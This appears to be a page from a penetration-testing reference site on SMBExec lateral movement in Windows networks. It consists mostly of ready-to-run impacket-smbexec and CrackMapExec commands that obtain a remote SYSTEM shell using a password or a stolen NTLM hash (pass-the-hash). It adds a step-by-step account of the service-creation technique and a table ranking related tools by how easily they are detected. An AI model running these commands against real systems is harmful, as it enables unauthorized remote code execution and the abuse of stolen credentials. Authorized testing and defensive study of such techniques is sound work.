> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# SMBExec

> SMBExec lateral movement: command execution via SMB service creation without binary upload.

## Impacket — smbexec

```bash theme={"dark"}
impacket-smbexec DOMAIN/user:password@TARGET
impacket-smbexec DOMAIN/user@TARGET -hashes :NTLM_HASH
```

Returns SYSTEM shell. Uses service creation for execution.

***

## How It Works

1. Creates a service on target via SMB
2. Service executes command, output redirected to file
3. Reads output via SMB
4. Deletes service

No binary upload — commands run through `cmd.exe /Q /c`.

***

## CrackMapExec

```bash theme={"dark"}
crackmapexec smb TARGET -u user -p password --exec-method smbexec -x "whoami"
```

***

## Comparison

| Feature       | psexec | smbexec | wmiexec |
| ------------- | ------ | ------- | ------- |
| Privilege     | SYSTEM | SYSTEM  | User    |
| Binary upload | Yes    | No      | No      |
| Protocol      | SMB    | SMB     | WMI     |
| Detection     | High   | Medium  | Lower   |

***

## Quick Reference

| Task  | Command                                                  |
| ----- | -------------------------------------------------------- |
| Shell | `impacket-smbexec DOMAIN/user:pass@TARGET`               |
| PtH   | `impacket-smbexec DOMAIN/user@TARGET -hashes :HASH`      |
| CME   | `crackmapexec smb TARGET --exec-method smbexec -x "cmd"` |